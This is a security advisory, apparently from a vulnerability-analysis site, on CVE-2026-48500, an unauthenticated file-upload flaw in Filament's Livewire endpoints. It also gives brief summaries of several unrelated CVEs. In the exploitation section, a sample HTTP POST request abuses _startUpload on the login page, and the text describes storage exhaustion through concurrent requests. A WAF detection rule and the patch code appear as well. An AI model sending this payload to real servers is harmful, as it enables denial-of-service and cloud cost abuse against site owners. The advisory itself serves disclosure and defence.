Jun 24, 2026·7 min read·145 visits
Unauthenticated users can exploit exposed Livewire file-upload endpoints on public pages to write arbitrary files to server storage, causing potential denial-of-service conditions.
CVE-2026-48500 is an authorization bypass vulnerability within Filament, a full-stack Laravel administration panel suite. The flaw arises from the unauthenticated exposure of Livewire's file upload RPC endpoints on guest-facing pages, allowing remote actors to upload arbitrary files to temporary storage, potentially leading to storage exhaustion and service disruption.
Filament is a widely adopted suite of TALL-stack administration panel components for Laravel. To provide interactive and reactive interfaces, Filament translates complex PHP-defined form layouts into front-end components executed by Laravel Livewire. This architecture relies on seamless execution of asynchronous requests, mapping user inputs on the browser directly to properties within backend PHP components.
The core threat vector lies in the unauthenticated exposure of backend endpoints. The administration system supports guest-facing interfaces, such as authentication, password recovery, and multi-factor authentication setup pages. While these entry-level views require strict isolation, the architectural design loaded the same standard form-handling capabilities used inside authenticated dashboards.
Specifically, the application failed to isolate Livewire's underlying asynchronous file-upload mechanisms. Any component implementing the base form structures inherited these upload handling endpoints. Consequently, remote unauthenticated entities gained direct, unauthorized access to trigger temporary file-upload procedures on pages where no file fields existed, classifying this flaw as CWE-862 (Missing Authorization).
The root cause of this vulnerability lies in the class and trait composition model utilized by the Filament framework. In Filament version 3.x, components constructed forms using the InteractsWithForms trait. In versions 4.x and 5.x, this logic was abstracted into the InteractsWithSchemas trait. These traits are designed to provide support for any potential form field, including file inputs, markdown editors, and rich text fields that support media attachments.
To satisfy the structural requirements of dynamic file uploading, the form and schema traits composed Livewire's native WithFileUploads trait. Under Livewire's operational design, importing this trait automatically registers public Remote Procedure Call (RPC) methods. These methods include _startUpload, _finishUpload, _uploadErrored, and _removeUpload, which coordinate raw file streams over AJAX.
Because guest-facing classes such as Login, Register, and ResetPassword utilize Filament's form and schema behaviors, they implicitly imported the WithFileUploads trait and its associated RPC endpoints. Livewire operates under the assumption that if the parent component carries the trait, the endpoints are intended to be accessible. There was no native mechanism in place to verify whether the rendered layout actually contained a field configured to accept file streams. This created a validation gap where unauthenticated users could successfully interact with file-upload methods.
The remediation implemented across the different branches addresses the authorization gap by overriding the default behavior of the Livewire file-upload endpoints. Rather than globally disabling the traits, the patch introduces dynamic context validation via specific restriction traits. In Filament 3.x, the framework introduced the RestrictsFileUploadsToFormComponents trait, while 4.x and 5.x implemented RestrictsFileUploadsToSchemaComponents.
These newly introduced traits override the public Livewire endpoints and perform real-time introspection before allowing the execution of parent operations. When a call to _startUpload or _finishUpload occurs, the trait evaluates the target field name using the schema structure. The method isFileUploadForFormComponent or isFileUploadForSchemaComponent checks the path against active fields.
The trait executes a structured validation routine as seen in the following logic:
// Overridden start upload method within the patch
public function _startUpload($name, $fileInfo, $isMultiple): void
{
// Enforce authorization validation prior to proceeding with Livewire's base mechanism
abort_unless($this->isFileUploadForFormComponent($name), 403);
$this->baseStartUpload($name, $fileInfo, $isMultiple);
}The routine flattens the currently registered form components, matches the component state path to the exact key provided in the RPC request, and validates that the matched component is a legitimate instance of BaseFileUpload or a class implementing HasFileAttachments. If the path is missing or points to a non-upload component, the request fails with a HTTP 403 Forbidden status. This validation is complete and prevents arbitrary uploads because the schema validation is tied to backend component states that cannot be falsified by the client.
Exploitation of CVE-2026-48500 requires minimal sophistication as it relies on low-complexity, unauthenticated HTTP requests targeting public-facing routes. An attacker begins by identifying a Filament application running an affected version and locating any guest-facing page, such as /admin/login. The attacker does not need any credentials or valid session tokens.
The attack payload consists of a targeted HTTP POST request directed at the generic Livewire update route, typically /livewire/update. The request specifies the public component's unique snapshot ID and initiates an RPC method call targeting the _startUpload endpoint, using a fabricated field parameter like data.photo or data.attachment:
POST /livewire/update HTTP/1.1
Host: target-application.com
Content-Type: application/json
X-Livewire: true
{
"components": [
{
"snapshot": "{\"id\":\"login-component-id\",\"name\":\"filament.pages.auth.login\"}",
"calls": [
{
"method": "_startUpload",
"params": [
"data.photo",
[
{
"name": "exhaust_payload.bin",
"size": 52428800,
"type": "application/octet-stream"
}
],
false
]
}
]
}
]
}Upon receipt of this request, the vulnerable backend processes the RPC command and generates a valid, signed upload path. The attacker then submits the file content to the designated temporary directory. By running multiple concurrent requests, an attacker can write high-volume garbage data directly into storage/app/livewire-tmp/, bypassing all application-level input constraints and authorization policies.
The security impact of CVE-2026-48500 is classified under Integrity and Availability vectors. Although the vulnerability does not lead directly to unauthenticated remote code execution because files are restricted to Laravel's internal temporary directory with randomized filenames, the operational consequences can compromise system availability.
The primary threat vector is local storage depletion on the web hosting environment. Unchecked accumulation of high-volume uploads within storage/app/livewire-tmp/ can quickly consume all remaining disk sectors. When storage is fully exhausted, core server processes, including logging utilities and databases (e.g., MySQL, PostgreSQL), will fail to write transactions or lock files, causing immediate database corruption or complete operating system crashes.
In cloud environments utilizing remote storage drivers, such as Amazon S3, Google Cloud Storage, or Microsoft Azure Blob Storage, the vulnerability translates into direct financial and operational impact. Attackers can trigger rapid API requests and write processes to cloud buckets, driving up service integration costs and depleting execution transfer quotas. This scenario qualifies under MITRE ATT&CK as Resource Hijacking (T1496) and Network Denial of Service (T1498).
Remediation of CVE-2026-48500 requires immediate software dependency updates. Security administrators must execute Composer updates to acquire the corrected package versions. The vulnerability has been resolved in versions 3.3.52, 4.11.5, and 5.6.5.
# Execution steps to upgrade the Filament core library
composer update filament/filamentIf an immediate upgrade is not feasible, administrators should enforce temporary request-filtering controls at the reverse proxy or web application firewall (WAF) layer. A custom rule can inspect POST payloads directed at /livewire/update for the occurrence of the _startUpload or _finishUpload strings. If these methods are called in conjunction with components representing public authentication controllers, the request should be immediately dropped with a 403 status.
Developers creating custom public Livewire components must avoid implementing broad file handling traits unless strict validation checks are embedded inside the mount lifecycle. By applying the RestrictsFileUploadsToSchemaComponents or RestrictsFileUploadsToFormComponents trait, custom panels can ensure that they only accept file uploads when the active UI schema explicitly defines a compatible and authorized field.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
filament/filament filamentphp | >= 3.0.0, < 3.3.52 | 3.3.52 |
filament/filament filamentphp | >= 4.0.0, < 4.11.5 | 4.11.5 |
filament/filament filamentphp | >= 5.0.0, < 5.6.5 | 5.6.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 6.5 |
| EPSS Score | 0.00207 (10.69th percentile) |
| Impact | Storage depletion, Denial of Service (DoS) |
| Exploit Status | PoC / Conceptual |
| CISA KEV Status | Not Listed |
The application does not perform authorization checks when an actor attempts to access a function or resource, specifically exposing upload endpoints on routes where files should not be submitted.
A security feature bypass vulnerability in the Falco k8saudit plugin (and its cloud-specific variants) allowed privileged workloads to run undetected. This bypass occurred because the plugin's default extraction logic and rules only evaluated standard containers, completely omitting initContainers and ephemeralContainers.
nginx-ignition is a web-based user interface for managing the Nginx web server. In versions 2.33.0 through 2.35.0, the application is vulnerable to an improper authentication flaw (CWE-287) in its Multi-Factor Authentication (MFA) implementation. The stateless validation of Time-Based One-Time Passwords (TOTP) allows an attacker to reuse a captured, active verification code multiple times within the standard 30-second validity window, successfully bypassing secondary authentication checks if primary credentials are known.
A vulnerability exists in the i18n middleware of nginx-ignition, enabling CPU amplification attacks. By transmitting a crafted Accept-Language header containing malformed tags separated by underscores, an unauthenticated remote attacker can bypass the length-guard threshold of the underlying Go parsing library. Normalization of underscores to hyphens occurs after the initial validation checks, forcing the parser into expensive quadratic-time loops that consume 100% of available CPU resources. This leads to a complete denial of service for the administrative API and potentially degrades the availability of the hosting system. This vulnerability has been resolved in version 2.40.1.
Nginx Ignition prior to version 2.41.1 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition in its unauthenticated onboarding API endpoint. This flaw allows remote, unauthenticated attackers to register an administrative account by sending concurrent HTTP requests during the initial system configuration phase, bypassing the check meant to restrict onboarding to a single initial administrator.
A logic error in Hatchet's OAuth state validation mechanism allows unauthenticated remote attackers to bypass state parameter verification. By submitting an empty state parameter, attackers can exploit an equality collision with cleared session keys, facilitating Login Cross-Site Request Forgery (Login CSRF) or Session Fixation.
A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.